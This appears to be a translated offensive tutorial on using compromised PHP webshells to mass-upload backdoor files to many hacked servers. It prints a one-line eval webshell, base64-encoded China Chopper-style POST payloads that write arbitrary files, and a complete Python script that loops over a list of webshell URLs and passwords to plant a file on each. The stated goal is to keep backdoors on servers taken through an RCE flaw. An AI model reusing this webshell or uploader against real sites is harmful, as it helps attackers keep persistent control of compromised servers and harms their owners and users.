Many times when we grab a lot of webshells in batches through a general RCE vulnerability, we may want to batch upload a backdoor to Reserve for later use. At this time, we can't help but face a problem. Using a kitchen knife to upload files one by one seems too slow. So how to quickly upload files in batches? This article will introduce to you how to implement such requirements based on PHP.
0×01 Principle Analysis
First of all, we must understand how Chopper implements file management of the web server through a one-sentence Trojan.
The following is the most common php one sentence Trojan:
<?php eval($_POST[1]); ?>
After we upload the one-sentence Trojan to the web server, we can directly enter the above password (such as 1 in the above example) into the kitchen knife to connect to the server to manage files.
So, how can the chopper here manage and control the server with a simple sentence? By analyzing the principle of the chopper, it is not difficult to find that the chopper uses the eval function to execute the command statement passed through the POST method.
Therefore, if we want to upload files through the Chopper Sentence Trojan, we only need to send a POST request with a file writing command to the URL containing a sentence in the remote service, such as:
POST:
1=@eval($_POST[z0]);&z0=echo $_SERVER['DOCUMENT_ROOT'];
The above code contains 2 parts:
1. One sentence password
2. PHP execution code sent to the server
Now that we know the principle, we only need to send the following POST request to complete the function of uploading files in one sentence:
POST:
1=@eval(base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW 1lKDApO2VjaG8oIi0 fCIpOzsKJGY9JF9QT1NUWyJ6MSJdOwokYz0kX1BPU1RbInoyIl07CiRjPXN0cl9yZXBsYWNlKCJcciIsIiIsJGMpOwokYz1zdHJfcmVwbGFjZSgiXG4iLCIiLCRjK TsKJGJ1Zj0iIjsKZm9yKCRpPTA7JGk8c3RybGVuKCRjKTskaSs9MSkKICAgICRidWYuPXN1YnN0cigkYywkaSwxKTsKZWNobyhAZndyaXRlKGZvcGVuKCRmLCJ3IiksJGJ1ZikpOwplY2hv KCJ8PC0iKTsKZGllKCk7&z1=L3Zhci93d3cvcm9vdC8xLnR4dA==&z2=aGVsbG8gd29ybGQh
A careful analysis of this POST data contains the following parts:
1. First is the password for php in one sentence 1
2. Use the eval method to execute base64 decoded z0. After decoding, the display is as follows:
@ini_set("display_errors","0"); @set_time_limit(0); @set_magic_quotes_runtime(0); echo("->|");; $f=base64_decode($_POST["z1"]); $c=base64_decode($_POST["z2"]); $c=str_replace("\r","",$c); $c=str_replace("\n","",$c); $buf=""; for($i=0;$i<strlen($c);$i+=1) $buf.=substr($c,$i,1); echo(@fwrite(fopen($f,"w"),$buf)); echo("|<-"); die();
3. Continue to call base64 decoded z1 and z2 in z0. The decoded results are as follows:
z1=/var/www/root/1.txt z2=hello world!
At this point, we can clearly find that the function of the above POST request is actually to send a message with hello world! Upload the file named 1.txt to the /var/www/root/ path on the server.
0×02 code implementation
Based on the above principle analysis, we can use the following code to implement batch upload of files based on one sentence of PHP:
#!/usr/bin/python #coding=utf-8 import urllib import urllib2 import sys import base64 import re def post(url, data): req = urllib2.Request(url) data = urllib.urlencode(data) opener = urllib2.build_opener(urllib2.HTTPCookieProcessor()) response = opener.open(req, data) return response.read() def get_shell_path(posturl,passwd): shell_path = "" try: data = {} data[passwd] = '@eval(base64_decode($_POST[z0]));' data['z0']='ZWNobyAkX1NFUlZFUlsnU0NSSVBUX0ZJTEVOQU1FJ107' shell_path = post(posturl, data).strip() except Exception: pass return shell_path def main(): print '\n+++++++++Batch Uploading Local File (Only for PHP webshell)++++++++++\n' shellfile = sys.argv[1] # 存放webshell路径和密码的文件 localfile = sys.argv[2] # 本地待上传的文件名 shell_file = open(shellfile,'rb') local_content = str(open(localfile,'rb').read()) for eachline in shell_file: posturl = eachline.split(',')[0].strip() passwd = eachline.split(',')[1].strip() try: reg = ".*/([^/]*\.php?)" match_shell_name = re.search(reg,eachline) if match_shell_name: shell_name=match_shell_name.group(1) shell_path = get_shell_path(posturl,passwd).strip() target_path = shell_path.split(shell_name)[0]+localfile target_path_base64 = base64.b64encode(target_path) target_file_url = eachline.split(shell_name)[0]+localfile data = {} data[passwd] = '@eval(base64_decode($_POST[z0]));' data['z0']='QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzsKJGY9YmFzZTY0X2RlY29kZSgkX1BPU1RbInoxIl0pOwokYz1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejIiXSk7CiRjPXN0cl9yZXBsYWNlKCJcciIsIiIsJGMpOwokYz1zdHJfcmVwbGFjZSgiXG4iLCIiLCRjKTsKJGJ1Zj0iIjsKZm9yKCRpPTA7JGk8c3RybGVuKCRjKTskaSs9MSkKICAgICRidWYuPXN1YnN0cigkYywkaSwxKTsKZWNobyhAZndyaXRlKGZvcGVuKCRmLCJ3IiksJGJ1ZikpOwplY2hvKCJ8PC0iKTsKZGllKCk7' data['z1']=target_path_base64 data['z2']=base64.b64encode(local_content) response = post(posturl, data) if response: print '[+] '+target_file_url+', upload succeed!' else: print '[-] '+target_file_url+', upload failed!' else: print '[-] '+posturl+', unsupported webshell!' except Exception,e: print '[-] '+posturl+', connection failed!' shell_file.close() if __name__ == '__main__': main()
The format of webshell.txt: [one sentence webshell file path], [webshell connection password] is as follows:
http://www.example1.com/1.php, 1
http://www.example2.com/1.php, 1
http://www.example3.com/1.php, 1
Save the above script as batch_upload_file.py and execute the command python batch_upload_file.py webshell.txt 1.txt. The effect is as follows:
The above content introduces you to the relevant knowledge of batch uploading single files in PHP. I hope you like it.